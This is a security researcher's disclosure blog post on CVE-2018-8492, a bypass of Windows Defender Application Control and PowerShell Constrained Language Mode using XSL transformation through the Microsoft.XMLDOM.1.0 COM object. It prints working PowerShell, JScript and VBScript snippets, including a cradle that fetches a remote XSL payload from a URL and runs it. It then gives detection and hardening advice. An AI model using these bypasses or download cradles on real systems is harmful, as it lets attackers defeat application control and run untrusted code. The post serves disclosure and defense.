# COM XSL Transformation: Bypassing Microsoft Application Control Solutions (CVE-2018-8492)

## Introduction

Greetings, Everyone!  It has been several months since I’ve blogged, so it seems fitting to start the New Year off with a post about two topics that I thoroughly enjoy exploring: Application Control/Application Whitelisting (AWL) and the Component Object Model (COM).  As the title suggests, I stumbled upon a technique for bypassing Microsoft Application Control solutions using COM. In a particular case, the technique executes unsigned code to bypass Windows Defender Application Control (WDAC)/Device Guard, including PowerShell Constrained Language Mode (CLM) with an Extensible Stylesheet Transformation (XSLT).  In this post, we will discuss the following:

• Brief Overview of Microsoft AWL Solutions
• Brief Overview of PowerShell With Constrained Language Mode
• Walkthrough of CVE-2018-8492 (WDAC Bypass via COM XSLT)
• Defensive Considerations

*Note: This blog is not intended to be a comprehensive review of Microsoft AWL solutions or bypass techniques.  If the topics presented here are of further interest, check out the linked resources throughout this blog post to learn more.

## Brief Overview of Microsoft AWL Solutions

Microsoft supports several Application Whitelisting (AWL) Solutions.  In this section, we will take a brief look at Software Restriction Policies (SRP), AppLocker, Windows Defender Application Control (WDAC), and highlight a few AWL bypass resources.  Let’s dive in…

#### SRP

Software Restriction Policies (SRP) were introduced as a Group Policy managed software control mechanism in Windows 2003 and XP.  In SRP, security levels define application behavior (e.g. disallowed to run) based on hash rules, certificate rules, path rules (file system & registry), and zone rules.  Policies can be applied to Dynamic Link Libraries (DLLs) and enforced for all users (including administrators).

SRP does not include a robust set of default rules (for baselining) and does not support an audit mode, so most of the work effort for creating, testing, validating, and maintaining SRP policies is dependent upon the organization.  In general, implementing and maintaining SRP can be difficult, so it is not as widely deployed with the advent of other AWL solutions.

It is worth noting that depending on the configuration, trivial bypasses are likely to circumvent rules that rely strictly on block-lists.  Overlooked file paths or file name/extension manipulation may allow for unanticipated execution.  Furthermore, SRP does not enforce code integrity policies.  As a result, unsigned (scriptlet) code may be executed from trusted binaries.

For more information on SRP and configuration guidance, check out Microsoft Docs and this whitepaper by the National Security Agency (NSA).  Also, it appears that SRP will be depreciated in the (near) future as features are no longer being developed.

#### AppLocker

AppLocker is an AWL solution that was introduced in Windows 2008 Server and Windows 7 (Enterprise and Ultimate) as an upgrade for SRP.  In comparison to SRP, AppLocker policies are easier to deploy and manage.  AppLocker supports file hash, path, and publisher rules for scripts and applications (exe, dll, appx, etc.) as well as an audit mode for testing rules.  Of note, AppLocker places PowerShell in Constrained Language Mode (CLM) for unprivileged users when policies are enforced, which restricts unapproved script execution, cmdlets, arbitrary types and type definitions.

AppLocker can be configured with a set of default rules, which is quite useful for baselining and testing the (prospective) organizational AWL policies.  However, deploying default rules is not necessarily recommended for production since there are many documented techniques for bypassing such policies due to rule-set limitations. Many of the rule-based application control bypasses are likely prevented with robust policies, but like SRP, AppLocker is not code integrity aware.

Please refer to the AppLocker Case study by Oddvar Moe (@Oddvarmoe) as well as the AaronLocker tool by Aaron Margosis (@AaronMargosis) for more information about AppLocker and further guidance for creating and testing robust AppLocker policies. These are excellent resources from two subject matter experts.

#### WDAC

Windows Defender Application Control (WDAC), formerly called Device Guard, is an AWL solution that can “help mitigate…security threats by restricting the applications that users are allowed to run and the code that runs in the kernel” (Microsoft Docs).  WDAC was introduced in Windows 2016 and 10 (Enterprise and Education).  Under WDAC policy enforcement with User Mode Code Integrity (UMCI), a system is locked down to prevent the execution of unauthorized binaries, unsigned (script) code, and installer packages.  Furthermore, UMCI restricts PowerShell to run in CLM, which further “locks down” COM class access (instantiation) due to limitations imposed by the Windows Lockdown Policy (WLDP).  The WLDP also restricts COM instantiation from other ‘enlightened’ script hosts (such as cscript.exe and wscript.exe) when enforced by an integrity policy.

*Note: It appears that the WLDP is now called the Windows Secure Mode Policy.

WDAC policies are highly customizable, and can be configured for audit mode to support various deployment and configuration scenarios for testing.  For introductory configuration and testing of enforced policies, Enterprise Windows operating systems that support WDAC have this default policy located at the following path:

%systemroot%\schemas\CodeIntegrity\ExamplePolicies\DefaultWindows_Enforced.xml

Unlike the previously discussed default rules for SRP and AppLocker, WDAC default policies are highly restrictive and will likely not be suitable for production use.  For guidance on creating (organizational) WDAC code integrity policies, refer to this Microsoft Doc and this walkthrough by Chris Truncer (@christruncer).  For baseline testing on Windows 10 Enterprise, refer to this guide for quickly deploying WDAC with the Microsoft Recommended Block Rules.

To learn more about all things WDAC (e.g. inner workings, bypasses, etc.), refer to the blog sites maintained by these excellent researchers:

#### A Few Final Notes on Microsoft AWL Solutions

• According to Microsoft, WDAC-UMCI is a security boundary.  As such, application control bypasses may be CVE-worthy and serviceable.  Researchers should report findings to the Microsoft Security Response Center (MSRC) for evaluation prior to disclosure.
• Microsoft supports another pseudo “application control” rule set for Attack Surface Reduction (ASR), which is now a part of the Windows Defender Exploit Guard (WDEG)/Windows Defender Advanced Threat Protection (ATP).  ASR rules are useful for preventing the execution of ‘malicious’ code for targeted applications (e.g. Office) and protecting sensitive processes (e.g. LSASS). ASR is out of scope for this post, however, more information can be found on Microsoft Docs.

## Brief Overview of PowerShell With Constrained Language Mode (CLM)

Normally, PowerShell operates in Full Language Mode.  This mode effectively allows access to all PowerShell features that includes scripting (e.g. signed and unsigned scripts), types definitions, and classes (e.g. .NET/C# access).  Introduced in PowerShell version 5, Constrained Language Mode (CLM) “restricts access to sensitive language elements that can be used to invoke arbitrary Windows APIs” (PowerShell Team Blog). Depending on configuration/policy enforcement, CLM presents a barrier (e.g. reduced attack surface) that an attacker must overcome to leverage PowerShell tools and capabilities.  To break out of the confines of CLM, an attacker must ‘bypass’ CLM controls that result in either executing malicious ‘unsigned’ code under the context of Full Language Mode within the PowerShell session (e.g. by discovering a weakness in a signed PowerShell Script) or executing malicious code that “breaks out” of the PowerShell session.  Let’s take a look at a few CLM configuration/enforcement scenarios and previously disclosed bypass techniques:

#### Language Mode Property Configuration

Without policy enforcement, CLM can be configured within a PowerShell session by simply setting this property and value:
$xsl.load(“c:\path\to\minimalist.xml”)$xsl.setProperty(“AllowXsltScript”,$true)$xsl.transformNode($xsl) Unsurprisingly, the scriptlet code is executed and launches the command processor. Let’s take this and expand on this further… #### AppLocker PowerShell CLM XSLT Bypass As a proof of concept, let’s peel out the code between the script tags and save it as a JScript (js) file. An attempt to launch the JScript file (minimalist.js) with Windows Script Hosts binaries (cscript.exe and wscript.exe) under AppLocker with default rules (and without relying on a path rule bypass) results in the following output: As expected, the execution attempts to launch the payload scripts fails. When attempting to use reflection to load the Microsoft.Jscript assembly with .NET reflection in PowerShell under CLM, it fails as well: However, if we launch the previously used PowerShell snippet with the XSLT payload using the new-object cmdlet and comobject parameter under the AppLocker Policy, the execution is successful: When I saw this for the first time, I was quite surprised to see that it worked. It wasn’t until I had a basic understanding of how Windows Lockdown Policy (WLDP) enforcement for COM object instantiation actually worked when this made sense. Now, let’s turn our attention back to WDAC… #### WDAC COM Object Enumeration Under the default WDAC code integrity policy (on Windows 10 1803), our PowerShell XSL payload snippet does not execute due to COM object WLDP enforcement as shown in the following screenshot: For this test case, the Windows Lockdown Policy (WLDP) is properly enforced, and the COM object is not instantiated. Recalling what I read from a Google Project Zero write-up, James Forshaw stated that there are between 8 – 50 COM objects that could be instantiated by ‘enlightened’ script hosts (e.g. PowerShell) at the time of his reporting. To discover which COM objects could be instantiated under the WDAC policy on my test machine, I enumerated the accessible COM objects with the following PowerShell snippet: $ErrorActionPreference = "SilentlyContinue" $ids = gwmi Win32_COMSetting | ?{$_.ProgId -ne $null }$ids | ForEach {if (new-object -com $_.ProgID){$_.ProgID}}

Under WDAC, the PowerShell snippet returned the following results (at the time of testing):

As expected, there were only a few COM objects that were actually permitted.  However, it was the Microsoft.XMLDOM.1.0 ProgID that stuck out.  As such, I decided to investigate further to see the which members were accessible:

Immediately, I recognized a few familiar transform methods, and noted that the implemented COM Interface Identifier (IID) GUID value (2933bf95-7b36-11d2-b20e-00c04f983e60) is the IXMLDOMDocument2 interface.

#### WDAC PowerShell CLM XSLT Bypass

After identifying the COM object methods for Microsoft.XMLDOM.1.0, I decided to slightly modify the PowerShell snippet to test for unsigned code execution:
 $xsl = new-object -com Microsoft.XMLDOM.1.0$xsl.load(“c:\path\to\minimalist.xml”) $xsl.transformNode($xsl)

*Note: Microsoft.XMLDOM.1.0 is implemented in MSXML v3.0, which does not require the AllowXsltScript property to be set for script host execution since it set to true by default.

After running the snippet, the payload executes under the context of CLM and a Device Guard code integrity policy:

For clarity, the WDAC policy status in the previous image is actually snipped output from the System Information utility (msinfo32.exe).

#### WDAC Bypass with Classic WSH Binaries

In addition to PowerShell, the WLDP allows for Microsoft.XMLDOM.1.0 instantiation with the classic WSH binaries such as cscript.exe and wscript.exe to execute unsigned script code.  For example, the following script snippets will launch the same XSL payload using a remote fetch technique when invoked:

JScript
 xsl = new ActiveXObject("Microsoft.XMLDOM.1.0"); xsl.async = false; xsl.load("https://gist.githubusercontent.com/caseysmithrc/680ef7a2d660fb62ce13a3bd130b8adf/raw/cc4a1b4d8eb26cc9aea61ae267db7ecae28e9f33/minimalist.xml"); xsl.transformNode(xsl);

VBScript

Set xsl= CreateObject("Microsoft.XMLDOM.1.0") xsl.async = false xsl.load "https://gist.githubusercontent.com/caseysmithrc/680ef7a2d660fb62ce13a3bd130b8adf/raw/cc4a1b4d8eb26cc9aea61ae267db7ecae28e9f33/minimalist.xml" xsl.transformnode xsl

Effectively, the benign JScript payload is not allowed to instantiate the WScript.Shell COM object when launched on its own (which is named test.js in this test case).  However, we can leverage the XSLT trampoline (minimalist.js) to instantiate WScript.Shell (which is embedded in the remote minimalist.xml payload) as shown in the following screenshot:

*Note: A script host such as Mshta.exe is explicitly denied within the Microsoft Block Rules, which are merged with the Default WDAC policy for this test case.

## Defensive Considerations

Let’s take a look at a few defensive considerations for the Blue Teamers –

#### XSLT COM Object Awareness

Although CVE-2018-8492 was patched to prevent Microsoft.XMLDOM.1.0 scriptlet execution under WDAC, defenders should be aware that the XSLT techniques can still be used for attacker tradecraft and for bypassing other AWL solutions.

With the exposure of so many COM objects, it is quite trivial to speculate that Microsoft.XMLDOM.1.0 and Msxml2.DOMDocument.6.0 are not the only objects that include transform methods to perform the same XSL COM script execution.  These other objects were identified:

There may be other COM objects that expose similar XSLT methods and properties along with other COM objects that can execute scriptlet code.  Furthermore, these objects can be used to remotely fetch resources (as demonstrated in the previous section), and may leverage other classes and objects to do so.  For example, the Microsoft.XMLHTTP.1.0 and related COM objects offer this functionality.

*Note: XML transformations can be used in .NET with the XslCompiledTransform class.  Furthermore, a .NET XmlDocument class instance is allowed under PowerShell CLM, and the load() method can be used as a download cradle to fetch a remote XML compliant file (e.g. an XSL payload).  A proof of concept is available here.

#### PowerShell Security Controls & Optics

Here are a few recommendations and resources for PowerShell:

• Upgrade to PSv5.x. PowerShell security and optics has vastly improved in recent years, especially with the release of Windows Management Framework 5 which includes PowerShell version 5.  If your organization does not run version 5, it is highly recommended that you upgrade to take advantage of the security enhancements such as advanced logging features and for enabling CLM.
• Ditch PSv2. In addition to upgrading to PowerShell v5, it is highly recommended to disable PowerShell version 2 within the environment to prevent downgrade attacks as the security optics in version 2 are minimal, and CLM is not supported.
• Hunt for Lower Version PS Loading. Lee Holmes offers detection and prevention guidance for this attack in this blog post, including a PowerShell snippet that queries the PowerShell Event Log for low version PowerShell Loads –

• Enable PS Logging for Greater Visibility. Configuring Transcription, Module, and ScriptBlock logs provides incredible insight into the commands, cmdlets, and payloads that are run within PowerShell.  Transcription logging requires the configuration of a disk/file share location to output log files. Module events (Event ID 4103) and ScriptBlock events (Event ID 4104) are accessible within the PowerShell Operational Event Log.
• Use CLM and Monitor.  Constrained Language Mode has incredible value. Enabling CLM for preventative measures while continually monitoring for suspicious tampering (e.g. bypass attempts) is a security gain.
• Identify COM Object Instantiation Events.  In the PowerShell Operational Event Log (Event Viewer -> Application and Services Logs -> Microsoft -> Windows -> PowerShell -> Operational), COM object instantiation attempts will log as Module Events (Event ID 4103) if enabled.  Successful instantiation is noted in Information messages with the following payload data string (in the message):
ParameterBinding(New-Object): name="ComObject"; value="[ProgID]"

Filtering on such events within a SIEM or log parsing tool is extremely valuable for identifying possible misuse of COM objects (such as those that can be abused for XSLT).

#### WSH Optics & Awareness

Here are a few recommendations and resources for Windows Script Hosts:

• Monitor known binaries.  Cscript.exe, Wscript.exe, Mshta.exe, Wmic.exe, Regsvr32.exe, Winrm.vbs, and Pubprn.vbs are a few known (signed) binaries and scripts that threat actors use for code execution, evasion, and bypass.  Mitre ATT&CK and LOLBAS are excellent resources for building baseline detections and understanding how these native utilities could be used for attacks.  This talk by Daniel Bohannon (@danielhbohannon) and Matthew Dunwoody (@matthewdunwoody) is a great reference for methodically building resilient detections.
• AMSI.  Script host content can be captured through the Antimalware Scan Interface (AMSI) with Event Tracing for Windows (ETW).  I did not know about this until Matt Graeber blogged about it a few months ago. Check out this excellent post for more information.
• Check the wire.  If encrypted communications are not an issue for your organization, building detections for remotely fetched HTTP/S resources (e.g. SCT, WSH, and XML/XSL files) could be very useful.   These requests will likely contain interesting User Agents, and the responses will likely contain XML script tags and attributes (and quite possibly, tasteful obfuscation 🙂).

#### AWL Solutions

Despite the possibility for bypass and evasion, AWL is an essential component of endpoint security like Endpoint Detection & Response (EDR) and Antivirus (AV). Here are a few recommendations for AWL solutions if you plan or already use Application Control in your environment:

• Plan to use AWL (in the future).  Although AWL is a fantastic way to reduce security risk and exposure, many organizations do not implement it (at least most that I have assessed).  Opinions may vary, but I believe that a partial solution is still better than no solution. If you run any modern version of Windows server, AppLocker is ‘free’, built-in, and can be centrally managed with Group Policy.  If you are considering AWL, review this Strategic Planning Guide by DHS before getting started.
• Maintain and Improve.  Like EDR and AV solutions, AWL policies, rules, and systems should be maintained for optimal health and effectiveness.  Depending on the AWL configuration and rule sets (e.g. new block rules), system changes (e.g. updates, software installation, etc.) may require tweaks and changes to the AWL software.  Furthermore, if you have a basic policy and rule set deployed, set resiliency goals to improve over time. If your organization is very serious about endpoint security, WDAC just may be a game-changer. Furthermore, WDAC and AppLocker support an audit mode for building, testing, and evaluating policies.
• Monitor AWL Logs.  AWL event logs provide a wealth of information for network defenders and system administrators.  AWL event forwarding (to a SIEM) and alerting may show that a critical executable or library needs to be added to a policy, or that a potential security incident has occurred due to various (failed) execution attempts of unapproved applications.

In AppLocker, the event logs are located at:  Event Viewer -> Application and Services Logs -> Microsoft -> Windows -> AppLocker.  The following logs are included: EXE and DLL, MSI and Script, Packaged app-Deployment, and Packaged app-Execution.  Here is a sample error log entry generated for a blocked executable (Event ID 8004):
In WDAC, the log is located at: Event Viewer -> Application and Services Logs -> Microsoft -> Windows -> Code Integrity -> Operational.  Here is a sample error log entry generated for a blocked executable (Event ID 3077):
• Test your enforced policies and rules.  Discover and mitigate protection gaps by implementing a continuous testing program and/or by working with a red/purple team.  There are some tools out there to help with this. Take a look at GreatSCT by Chris Spehn (@conscioushacker) for payload generation and PowerAL by Oddvar Moe for AppLocker specific test cases.
• Patch.  If you are using WDAC or a 3rd party AWL solution, ensure that the software is up-to-date to resolve bugs that could lead to gaps in protective controls.

## Final Thoughts

I’ve spent much more time writing this blog post than I’ve originally planned, so many thanks for taking time out of your day to read it!  Any new findings and information will be presented in a follow-up post. Before leaving, here are a few links to some other great resources, credits to those who continue to help shape this research, and information about the disclosure timeline:

#### Other Notable Resources

Here are a few great resources that are worth mentioning related to the topics presented in this blog:

• COM In 60 Seconds (Minutes) by James Forshaw provides a great overview of COM’s inner workings.
• DotNettToJScript by James Forshaw is a tool for creating Jscript payloads that load .NET assemblies into memory.
• FreeStyling with SharpShooter v1.0 by Dominic Chell (@domchell) showcases the use of XSL transformation as a vector for payload generation.
• Follow the #DailyScriptlet on Twitter for open source threat intel about COM scriptlets (including stylesheets) that are seen “in the wild.”  Nick Carr (@ItsReallyNick) and John Lambert (@JohnLaTwC) offer great insight into their findings from VirusTotal.
• WinAWL by Brian in Pittsburgh (@arekfurt) has published some great notes and sample policies for WDAC.

#### Credits

I wanted to acknowledge a few folks who have influenced this research (directly or indirectly) and who were extremely helpful through the vetting/disclosure process:

• Researchers: Oddvar Moe, Philip Tsukerman (@PhilipTsukerman), Casey Smith, Matt Nelson, James Forshaw, Adam Chester, Chris Spehn and Matt Graeber for their willingness to share their research, offer advice, and vet findings.
• MSRC Case Workers: Nate and James for their professionalism and patience for working with me through the disclosure process, which was not the easiest at times.

#### Disclosure & Patching Timeline

• April 2018: MSRC was contacted about the XSL COM Object CLM Bypass (Generic)
• May 2018: Continued dialogue with MSRC about issue details and replication
• June 2018: MSRC confirmed the Microsoft.XMLDOM.1.0 WDAC bypass after other details emerged and declared that the finding would be serviced
• August 2018: MSRC requests extension for issuing a patch
• October 2018: CVE-2018-8492 (“Device Guard Code Integrity Policy Security Feature Bypass Vulnerability”) was patched